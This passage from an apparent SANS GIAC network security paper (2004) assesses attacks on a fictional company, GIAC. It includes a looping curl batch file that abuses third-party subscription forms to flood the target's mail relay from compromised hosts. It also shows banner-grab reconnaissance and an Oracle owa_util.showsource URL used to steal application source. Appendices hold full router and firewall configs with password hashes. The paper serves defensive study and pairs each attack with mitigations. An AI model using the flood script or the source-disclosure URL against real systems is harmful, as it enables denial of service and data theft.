C:\>curl –d“[email protected]&subj=subs&body=subscribe&press=%20OK”www.droneemailer.com/subscribe.cgi



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The test confirms that the web site www.droneemailer.com sends a confirmationemail to [email protected].

A trivial Windows batch file may now be written that generates pseudo random emailaddresses from the GIAC domain, and subscribes the email addresses to thenewsletter:

@echo off

:MAILLOOP

FOR %%a in (a b c) DO (FOR %%b in (1 2 3) DO curl –d“from=%%a%%[email protected]&subj=subs&body=subscribe&press=%20OK”www.droneemailer.com/subscribe.cgi)

GOTO MAILLOOP

The sample batch file above sends subscription requests from [email protected],[email protected], etc. which generates continuous bogus emails to the giac.comdomain. It can be expanded to create a large number of random email addresses,send posts to multiple web drones, send emails to legitimate GIAC email addressesculled from reconnaissance techniques (see Section 4.1), etc. Batch files can beeasily prepared for the fifty slaves that encompass a multitude of drone sites.

Once the batch files are prepared, the cURL executable and an assigned batch filecan be uploaded to each slave. The batch files may then be triggered from a masterscript, or scheduled on each machine with the AT command. Even if all emails in theattack are blocked by the SPAM filter on the SMTP relay, if the web forms areefficient the flood of SMTP connections to serve bogus addresses may be enough to

starve the T1 line of bandwidth, effectively cutting GIAC’s network communicationwith the Internet. Jakobsson and Menczer also detail why attacks of this nature areextremely difficult to stop, as they are coming indirectly through exploited webservers.

While mitigation of the DDOS attack of the SMTP Relay may be difficult to stop,some simple changes would prevent an email attack of this nature from cutting offaccess to the remainder of GIAC services. If the SMTP Relay were moved off of theexternal service network into a DMZ between the Border Router and the externalfirewall, this would prevent mail traffic from inhibiting other services through thefirewall. The attack may also be mitigated by rate limiting SMTP traffic into theinternal network at the Border Router, assuring that bandwidth is always available for

traffic to the web servers that generate company revenue.

4.4 Compromise of an Internal Machine

The final attack against the GIAC network will be an attempt to compromise aninternal machine. The “crown jewels” of the GIAC network are stored on the InternalOracle Database server that houses the fortunes for sale. This is the most valuableasset of GIAC, both in terms of value to the company and potential cash value on a



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





black market. It also has a direct connection from the customer secure web server,which by its nature accepts anonymous connections from the Internet.

4.4.A Reconnaissance

The first step in attempting to compromise the internal database server is to perform

reconnaissance to determine the database type. A simple scan is performed toobtain the web banner of the public web server in an attempt to determine if it maybe compromised directly, or if it provides a clue to a database version on the backend. A variety of tools may be used to grab the banner. In this case, ScanLine92 fromFoundstone93 will be used:

C:\>sl.exe –bp –p 80, publicweb.giac.com

ScanLine (TM) 1.01Copyright (c) Foundstone, Inc. 2002http://www.foundstone.com

Scan of 1 IP started at Fri Mar 05 13:56:05 2004

-------------------------------------------------------------------------------X.X.0.35Responds with ICMP unreachable: NoTCP ports: 80

TCP 80:[HTTP/1.1 302 Found Date: Fri, 05 Mar 2004 21:56:05 GMTServer: Oracle HTTP Server Powered by Apache/1.3.19 (Unix)mod_ssl/2.8.1 OpenSSL/0.9.5a mod_fastcgi/2.]C:\>

A banner stating “Oracle HTTP” indicates to an attacker that the server is most likelyconnected to an Oracle database on the back end.

A search of CERT advisories yields nothing of note. A search of Bugtraq shows anadvisory regarding SQL injection vulnerabilities for Oracle 9i, which was published byNGSSoftware94. A link to their site provides a list of Oracle vulnerabilities discovered

by NGSSoftware. Browsing the papers that are also available on the web site, aguide called “Hackproofing Oracle Application Server95” by David Litchfield is alsofound on the website.

The “Hackproofing” guide provides a laundry list of security issues with defaultinstallations of Oracle 9. It also includes step-by-step guides to attempt to exploit anOracle 9 Database Server through the Oracle Application Server interface. An attackof GIAC’s SecCustWeb server will be attempted by following this guide to exploit theInternal Database Server through the front end. Since the attacks will rely on testing



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





valid Oracle commands and hoping the default installation is not secur e, the IDSsensors should not provide too much of a concern.

Prior to executing the attack(s), additional reconnaissance is performed. A sample offortunes is purchased online with a compromised credit card.

The transaction moves as described, and the customer is transferred to theSecCustWeb server to retrieve the purchased fortunes. The attacker places thecursor over the “retrieve” button, which reveals the following link in the status bar ofthe browser:

https://seccustweb.giac.com/pls/purchase/fortunes.retrieve?fortuneid=2922

The attacker now has a session with the database server on the back end throughthe SecCustWeb server, and the opportunity to mount a brief attack. In the event thatsession state is not tracked correctly within the application, follow-up attacks mayalso be possible until the IDS logs or system error logs get the attention of systemadministrators.

4.4.B The Attack

The “pls” directory shows that the database access package uses Oracle’sProcedural Language extension to Structured Query Language (PL/SQL)95. The“fortunes.retrieve” application uses a parameter called “fortuneid”, and retrieves thefortune (or fortunes) with the database sequence ID of “2922”.

With this knowledge, the attacker may only have one chance to execute an attack.The attacker could try to guess the sequencing of database IDs for fortunes andsubstitute a command to attempt to gain them all. He might also perform a few

“legitimate” purchases in an attempt to predict an ID that might retrieve the entiredatabase. However, this involves a making a guess about the database structureand having the luck of a misconfigured database.The attacker instead chooses to attempt to steal the source code of thefortunes.retrieve application, hoping that 1) the exploited utility to obtain it has notbeen properly secured and 2) the source code will reveal a weakness to exploit thedatabase at a later time. The attempt is performed by calling the“owa_util.showsource 95” utility.

Instead of clicking on the link to retrieve the purchased fortunes, the attacker typesthe following URL manually in the browser, and presses return:

https://seccustweb.giac.com/pls/purchase/owa_util.showsource?cname=fortunes.ret rieve

The success of the attack depends upon whether the Oracle database has beenhardened properly. If the attack does not succeed, the attacker tries several othermethods described in the “Hackproofing” guide until the session expires.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





4.4.C Analysis

The attack described in section 4.4.B demonstrates that sound perimeterarchitecture in itself does not constitute a solid defense against network intrusion,nor does application patching and maintenance. The design of applications mustfollow prudent security practices that, in conjunction with external protection

mechanisms, protect valuable intellectual or financial property maintained on acorporate network.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





APPENDIX A: Complete Border Router Policy

The complete policy for the GIAC Border Router is provided below. The policy filewas generated by entering the command “show running-config” at the enable promptof the Cisco 2611XM router that borders the ISP network and GIAC’s network.

border-rtr#show running-configBuilding configuration...

Current configuration : 7364 bytes!version 12.2no service padservice timestamps debug datetime msecservice timestamps log datetime msecservice password-encryptionno service dhcp

!hostname border-rtr!logging buffered 4096 warningsno logging consoleaaa new-modelaaa authentication login default localaaa authentication enable default enableenable secret 5 $1$j5LA$f6rhlO.5SjgvrdMA7Fax6.!username sysadmin password 7

106F25160B10200E080D293E2827262612121405140E445Dusername ispsupport password 7096D40060D0D120027030A2D1B253B20222D0103

memory-size iomem 10clock timezone gmt 0

ip subnet-zerono ip source-route!!no ip domain-lookup

ip domain-name giac.com!no ip bootp server!no call rsvp-sync!!!!



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





deny ip 58.0.0.0 0.255.255.255 any logdeny ip 59.0.0.0 0.255.255.255 any logdeny ip 71.0.0.0 0.255.255.255 any logdeny ip 72.0.0.0 0.255.255.255 any logdeny ip 73.0.0.0 0.255.255.255 any logdeny ip 74.0.0.0 0.255.255.255 any log

deny ip 75.0.0.0 0.255.255.255 any logdeny ip 76.0.0.0 0.255.255.255 any logdeny ip 77.0.0.0 0.255.255.255 any logdeny ip 78.0.0.0 0.255.255.255 any logdeny ip 79.0.0.0 0.255.255.255 any logdeny ip 85.0.0.0 0.255.255.255 any logdeny ip 86.0.0.0 0.255.255.255 any logdeny ip 87.0.0.0 0.255.255.255 any logdeny ip 88.0.0.0 0.255.255.255 any logdeny ip 89.0.0.0 0.255.255.255 any logdeny ip 90.0.0.0 0.255.255.255 any logdeny ip 91.0.0.0 0.255.255.255 any log

deny ip 92.0.0.0 0.255.255.255 any logdeny ip 93.0.0.0 0.255.255.255 any logdeny ip 94.0.0.0 0.255.255.255 any logdeny ip 95.0.0.0 0.255.255.255 any logdeny ip 96.0.0.0 0.255.255.255 any logdeny ip 97.0.0.0 0.255.255.255 any logdeny ip 98.0.0.0 0.255.255.255 any logdeny ip 99.0.0.0 0.255.255.255 any logdeny ip 100.0.0.0 0.255.255.255 any logdeny ip 101.0.0.0 0.255.255.255 any logdeny ip 102.0.0.0 0.255.255.255 any log


deny ip 115.0.0.0 0.255.255.255 any logdeny ip 116.0.0.0 0.255.255.255 any logdeny ip 117.0.0.0 0.255.255.255 any logdeny ip 118.0.0.0 0.255.255.255 any logdeny ip 119.0.0.0 0.255.255.255 any logdeny ip 120.0.0.0 0.255.255.255 any logdeny ip 121.0.0.0 0.255.255.255 any logdeny ip 122.0.0.0 0.255.255.255 any logdeny ip 123.0.0.0 0.255.255.255 any log



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





deny ip 124.0.0.0 0.255.255.255 any logdeny ip 125.0.0.0 0.255.255.255 any logdeny ip 126.0.0.0 0.255.255.255 any logdeny ip 173.0.0.0 0.255.255.255 any logdeny ip 174.0.0.0 0.255.255.255 any logdeny ip 175.0.0.0 0.255.255.255 any log


deny ip 189.0.0.0 0.255.255.255 any logdeny ip 190.0.0.0 0.255.255.255 any logdeny ip 192.0.2.0 0.0.0.255 any logdeny ip 197.0.0.0 0.255.255.255 any logdeny ip 223.0.0.0 0.255.255.255 any logdeny ip 10.0.0.0 0.255.255.255 any logdeny ip 169.254.0.0 0.0.255.255 any logdeny ip 172.16.0.0 0.15.255.255 any logdeny ip 127.0.0.0 0.255.255.255 any logdeny ip 192.168.0.0 0.0.255.255 any logdeny ip 224.0.0.0 31.255.255.255 any log

deny ip X.X.70.32 0.0.0.31 any logpermit tcp any host X.X.70.57 eq 443 logpermit tcp any host X.X.70.58 eq 443 logpermit tcp host Y.Y.24.35 host X.X.70.59 eq 443 logpermit tcp host X.X.125.48 host X.X.70.59 eq 443 logpermit tcp host X.X.125.48 host X.X.70.230 eq 22 logpermit tcp host X.X.125.48 host X.X.70.34 eq 22 logpermit udp host X.X.126.126 host X.X.70.61 eq domain logpermit udp any host X.X.70.34 eq isakmp logpermit ahp any host X.X.70.34 logpermit esp any host X.X.70.34 logpermit tcp any any established log

deny ip any any logip access-list extended internal_facingpermit tcp X.X.70.32 0.0.0.31 any logpermit udp host X.X.70.34 eq isakmp any logpermit ahp host X.X.70.34 any logpermit esp host X.X.70.34 any logpermit udp host X.X.70.61 host X.X.126.126 eq domain logpermit tcp any any established logdeny ip any any log



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





ip access-list extended vty_accesspermit tcp host X.X.125.48 host X.X.70.230 eq 22 logdeny ip any any loglogging trap debugginglogging facility local5logging source-interface FastEthernet0/1

logging X.X.70.60no cdp run!dial-peer cor custom!!!!banner login ^CThis device is for authorized users only. Use of this deviceconstitutes consent to monitoring, retrieval, and disclosure of any information storedor transmitted to or from this device for any purpose including criminalprosecution.^C

banner motd ^CThis device is for authorized users only. Use of this deviceconstitutes consent to monitoring, retrieval, and disclosure of any information storedor transmitted to or from this device for any purpose including criminalprosecution.^C!line con 0exec-timeout 15 0line aux 0no execline vty 0 4access-class vtyaccess in

exec-timeout 15 0transport input ssh!end



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





APPENDIX B: Complete Primary Firewall/VPN Policy

The complete policy file for the GIAC primary firewall and VPN are provided below.The policy file was generated by entering the command “write terminal” at the enableprompt of the Cisco PIX 515E firewall that separates the GIAC border network from

the ISP border network.

Because the primary firewall serves as both the primary firewall and the VPNtermination point, the primary firewall policy and the VPN policy are included in thesame PIX policy configuration file. For clarity, lines within the complete policy thatapply primarily to the firewall policy or that apply to both the firewall and the VPNpolicies are written in black text. Lines within the complete policy that apply primarilyto the VPN policy are highlighted in blue.

ex-fwall# write terminalBuilding configuration...: Saved

:PIX Version 6.3(3)interface ethernet0 100fullinterface ethernet1 100fullinterface ethernet2 100fullnameif ethernet0 outside security0nameif ethernet1 inside security100nameif ethernet2 servicenw security50enable password X4LHq4fONR62OQxV encryptedpasswd 2oGNcgYflt5PuIni encryptedhostname ex-fwall

domain-name giac.comclock timezone gmt 0fixup protocol dnsfixup protocol ftp 21no fixup protocol h323 h225 1720no fixup protocol h323 ras 1718-1719fixup protocol http 80no fixup protocol rsh 514no fixup protocol rtsp 554no fixup protocol sip 5060no fixup protocol sip udp 5060no fixup protocol skinny 2000

no fixup protocol smtp 25no fixup protocol sqlnet 1521no fixup protocol tftp 69no namesaccess-list outside permit tcp any host X.X.70.57 eq httpsaccess-list outside permit tcp any host X.X.70.58 eq httpsaccess-list outside permit tcp host Y.Y.24.35 host X.X.70.59 eq httpsaccess-list outside permit tcp host X.X.125.48 host X.X.70.59 eq httpsaccess-list outside permit udp host X.X.70.33 host X.X.70.60 eq syslog



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





access-list servicenw permit tcp host 10.32.0.100 host 10.96.0.100 eq 5432access-list servicenw permit tcp host 10.32.0.101 host 10.96.0.101 eq 5432access-list servicenw permit tcp host 10.32.0.102 host 10.96.0.102 eq 5432access-list servicenw permit udp host 10.32.0.100 host 10.96.0.103 eq syslogaccess-list servicenw permit udp host 10.32.0.101 host 10.96.0.103 eq syslogaccess-list servicenw permit udp host 10.32.0.102 host 10.96.0.103 eq syslog

access-list servicenw deny ip 10.32.0.0 255.255.255.0 anyaccess-list inside permit tcp 10.128.3.0 255.255.255.0 host 10.32.0.100 eq httpsaccess-list inside permit tcp 10.128.3.0 255.255.255.0 host 10.32.0.101 eq httpsaccess-list inside permit tcp 10.128.3.0 255.255.255.0 host 10.32.0.102 eq httpsaccess-list inside permit tcp 10.48.1.0 255.255.255.0 host 10.32.0.102 eq httpsaccess-list inside permit tcp 10.48.0.0 255.255.255.0 10.0.0.0 255.0.0.0 eq sshaccess-list inside deny ip 10.0.0.0 255.0.0.0 10.32.0.0 255.255.255.0access-list inside permit tcp 10.0.0.0 255.0.0.0 any eq ftpaccess-list inside permit tcp 10.0.0.0 255.0.0.0 any eq wwwaccess-list inside permit tcp 10.0.0.0 255.0.0.0 any eq httpsaccess-list inside permit udp host 10.96.0.104 host X.X.126.126 eq domainaccess-list inside deny ip 10.0.0.0 255.0.0.0 any

access-list vpn_nat_acl permit ip 10.0.0.0 255.0.0.0 10.48.0.0 255.255.255.0access-list vpn_nat_acl permit ip 10.0.0.0 255.0.0.0 10.48.1.0 255.255.255.0pager lines 24logging onlogging timestampno logging consolelogging buffered warningslogging trap debugginglogging facility 6logging host inside 10.96.0.103mtu outside 1500

mtu inside 1500mtu servicenw 1500ip address outside X.X.70.34 255.255.255.252ip address inside 10.64.0.1 255.255.255.0ip address servicenw 10.32.0.1 255.255.255.0ip verify reverse-path interface outsideip verify reverse-path interface insideip verify reverse-path interface servicenwip audit info action alarmip audit attack action alarmip local pool sysadmin 10.48.0.1-10.48.0.254ip local pool sales 10.48.1.1-10.48.1.254

no failoverfailover timeout 0:00:00failover poll 15no failover ip address outsideno failover ip address insideno failover ip address servicenwno pdm history enablearp timeout 14400global (outside) 1 X.X.70.49-X.X.70.54 netmask 255.255.255.248



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





26IANA. “Internet Protocol V4 Address Space.” IANA. 2004. URL: http://www.iana.org/assignments/ipv4 -

address-space. (12 February 2004).27 Tanase, Matthew. “IP Spoofing: An Introduction.” SecurityFocus. 2003. URL:

http://www.securityfocus.com/infocus/1674. (24 February 2004).28 Novell, Inc. “Fundamentals of Packet Filtering.” Novell, Inc. 2002. URL:

http://developer.novell.com/research/appnotes/2000/septemb e/02/a0009023.htm. (13 February 2004).29

Malkin, et al. “RFC 1392: Internet Users Glossary .” Internet Engineering Task Force. 1993. URL:ftp://ftp.rfc-editor.org/in-notes/rfc1392.txt. (13 February 2004).30 Cisco Systems, Inc. “Cisco IOS Software Collateral Library.” Cisco Systems, Inc.1992 -2004. URL:

http://www.cisco.com/en/US/products/sw/iosswrel/ios_software_collat eral_library_listing.html. (12 February

2004).31

Cisco Systems, Inc. “Cisco PIX 515E Security Appliance.” Cisco Systems, Inc. 1992 -2004. URL:http://www.cisco.com/en/US/products/hw/vpndevc/ps2030/products_data_sheet09186a0080091b15.html. (12

February 2004).32

Cisco Systems, Inc. “Cisco PIX Security Appliance Sof tware Version 6.3” Cisco Systems, Inc. 1992 -2003.

URL: http://www.cisco.com/warp/publi c/cc/pd/fw/sqfw500/prodlit/pix63_ds.pdf. (13 February 2003).33

Probyo.com. “Glossary.” Propbyo.com. No Date. URL: http://www.probyo.com/glossary.html. (13 February

2004).34

MacDermid, Todd. “Loose Source Routing, Why is it Still Here?” Syn Ack Labs. No Dat e. URL:

http://www.synacklabs.net/OOB/LSR.html. (24 February 2004).35

Cisco Systems, Inc. “Message Logging Keywords and Levels.” Cisco Systems, Inc. 2004. URL:http://www.cisco.com/en/US/products/sw/iosswrel/ps1824/products_command_reference_chapter09186a0 0800

87d97.html#20666. (25 February 2004).36

Cisco Systems, Inc. “Configuring System Message Logging.” Cisco Systems, Inc. 2000. URL:

http://www.cisco.com/univercd/cc/td/doc/product/lan/cat5000/rel_5_4/config/logging.htm. (25 February 2004).37

Rekhter, Y. “RFC 1817: CIDR and Classful Routing.” Internet Engineering Task Force. 1995. URL:

ftp://ftp.rfc-editor.org/in-notes/rfc1817.txt. (1 March 2004).38 Rigney, Et Al. “RFC 2865: Remote Authentication Dial In User Service.” Internet Engineering Task Force.

2000. URL: ftp://ftp.rfc-editor.org/in-notes/rfc2865.txt. (24 February 2004).39

Anderson. “RFC 927: TACACS User Identification Telnet Option”. Internet Engineering Task Force. 1984.

URL: ftp://ftp.rfc-editor.org/in-notes/rfc927.txt. (24 February 2004).40

Presuhn, et al. “RFC 3416: Version 2 of the Protocol Operations for the Simple Network Management

Protocol (SNMP).” Internet Engin eering Task Force. 1001. URL: ftp://ftp.rfc-editor.org/in-notes/rfc3416.txt.

(24 February 2004).41

Hornig, Charles.. “RFC 894: A At andard for the Transmission of IP datagrams over Ethernet Networks .”Intenret Engineering Task Force. 1984. URL: ftp://ftp.rfc-editor.org/in-notes/rfc894.txt. (24 February 2004).42

Maughan, et al. “TFC 2408: Internet Security Association and Key Management Protocol.” Internet

Engineering Task Force. 1998. URL: ftp://ftp.rfc-editor.org/in-notes/rfc2408.txt. (20 February 2004).43

Kent, et al. “RFC 2406: IP Encapsulating Security Payload.” Internet Engineering Task Force. 1998. URL:

ftp://ftp.rfc-editor.org/in-notes/rfc2406.txt. (20 February 2004).44

American National Standards Institute. “ANSI X3.106, American National Standard for Information Systems

– Data Link Encryption.” American National Standards Institute. 1983.45

Rivest, R. “RFC 1321: The MD5 -Message Digest Algorithm.” Internet Engineering Task Force. 1992. URL:

ftp://ftp.rfc-editor.org/in-notes/rfc1321.txt. (24 February 2004).46

Rescorla, E. “RFC 2631: Diffie -Hellman Key Agreement Method.” Internet Engineering Task Force. 1999.

URL: ftp://ftp.rfc-editor.org/in-notes/rfc2631.txt. (24 February 2004).47

Madson, C. “RFC 2403: The Use of HMAC -MD5-96” within ESP and AH”. Internet Engineering Task

Force. 1998. URL: ftp://ftp.rfc-editor.org/in -notes/rfc2403.txt. (24 February 2004).48

Cisco Systems, Inc. “Cisco IOS Command Summary, Release 12.2.” Cisco Systems, Inc. URL:http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/prod_ios_command_summary_list.html. 2001. (24

February 2004).49

Cisco Systems, Inc. “Cisco IOS Security Configuration Guide, Release 12.2.” Cisco Systems, Inc. 2001.

URL:

http://www.cisco.com/application/pdf/en/us/guest/products/ps1835/c1069/ccmigration_09186a008011dff4.pdf.

(24 February 2004).50

Thomas, Rob. “Secure IOS Template Version 3.3 15 January 2004.” Team Cymru. 2004. URL:

http://www.cymru.com/Documents/secure-ios-template.html. (21 February 2004).51

Center for Internet Security. “CIS Level -1/Level-2 Benchmark and Audit Tool for Cisco IOS Routers.”Center for Internet Security. URL: http://www.cisecurity.org/bench_cisco.html. (20 February 2004).



Last Updated: September 17th, 2010

Upcoming SANS TrainingClick Here for a full list of all Upcoming SANS Events by Location

SANS WhatWorks: PCI Compliance in Information SecuritySummit 2010

Las Vegas, NV Sep 22, 2010 - Sep 29, 2010 Live Event

SOS: SANS October Singapore 2010 Singapore, Singapore Oct 04, 2010 - Oct 11, 2010 Live Event

EU Process Control and SCADA Security Summit 2010 London, UnitedKingdom

Oct 07, 2010 - Oct 14, 2010 Live Event

SANS Gulf Region 2010 Dubai, United ArabEmirates

Oct 09, 2010 - Oct 21, 2010 Live Event

SANS Geneva Security Essentials at HEG Fall 2010 Geneva, Switzerland Oct 11, 2010 - Oct 16, 2010 Live Event

CyberSecurity Malaysia SEC 401 Onsite Kuala Lumpur, Malaysia Oct 18, 2010 - Oct 23, 2010 Live Event

SANS App Sec India 2010 Bangalore, India Oct 18, 2010 - Oct 22, 2010 Live Event

SANS Chicago 2010 Skokie, IL Oct 25, 2010 - Oct 30, 2010 Live Event

SANS San Francisco 2010 San Francisco, CA Nov 05, 2010 - Nov 12, 2010 Live Event

SANS San Antonio 2010 San Antonio, TX Nov 13, 2010 - Nov 20, 2010 Live Event

SANS Tokyo 2010 Autumn Tokyo, Japan Nov 15, 2010 - Nov 20, 2010 Live Event

SANS Geneva CISSP at HEG Fall 2010 Geneva, Switzerland Nov 15, 2010 - Nov 20, 2010 Live Event

SANS Sydney 2010 Sydney, Australia Nov 15, 2010 - Nov 20, 2010 Live Event

SANS London 2010 London, UnitedKingdom

Nov 27, 2010 - Dec 06, 2010 Live Event

WhatWorks in Incident Detection and Log Management Summit2010

Washington, DC Dec 08, 2010 - Dec 09, 2010 Live Event

SANS Cyber Defense Initiative East 2010 Washington, DC Dec 10, 2010 - Dec 17, 2010 Live Event

SANS Network Security 2010 OnlineNV Sep 19, 2010 - Sep 27, 2010 Live Event

SANS OnDemand Books & MP3s Only Anytime Self Paced



http://www.sans.org/link.php?id=20807


http://www.sans.org/pci-legal-info-tech-summit-2010


http://www.sans.org/singapore-sos-2010


http://www.sans.org/eu-scada-security-summit-2010


http://www.sans.org/gulf-region-2010


http://www.sans.org/geneva-security-essentials-2010-2


http://www.sans.org/cybersecurity-malaysia-2010


http://www.sans.org/appsec-india-2010


http://www.sans.org/chicago-2010


http://www.sans.org/san-francisco-2010


http://www.sans.org/san-antonio-2010


http://www.sans.org/tokyo-autumn-2010


http://www.sans.org/cissp-geneva-2010-2


http://www.sans.org/sydney-2010


http://www.sans.org/london-2010



http://www.sans.org/incident-detection-summit-2010


http://www.sans.org/cyber-defense-initiative-2010


http://www.sans.org/network-security-2010


http://www.sans.org/ondemand/about.php

http://www.sans.org/ondemand/about.php


http://www.sans.org/network-security-2010


http://www.sans.org/cyber-defense-initiative-2010


http://www.sans.org/incident-detection-summit-2010


http://www.sans.org/london-2010


http://www.sans.org/sydney-2010


http://www.sans.org/cissp-geneva-2010-2


http://www.sans.org/tokyo-autumn-2010


http://www.sans.org/san-antonio-2010


http://www.sans.org/san-francisco-2010


http://www.sans.org/chicago-2010


http://www.sans.org/appsec-india-2010


http://www.sans.org/cybersecurity-malaysia-2010


http://www.sans.org/geneva-security-essentials-2010-2


http://www.sans.org/gulf-region-2010


http://www.sans.org/eu-scada-security-summit-2010


http://www.sans.org/singapore-sos-2010


http://www.sans.org/pci-legal-info-tech-summit-2010



Network Security Architecture 1498

Documents

Transcript of Network Security Architecture 1498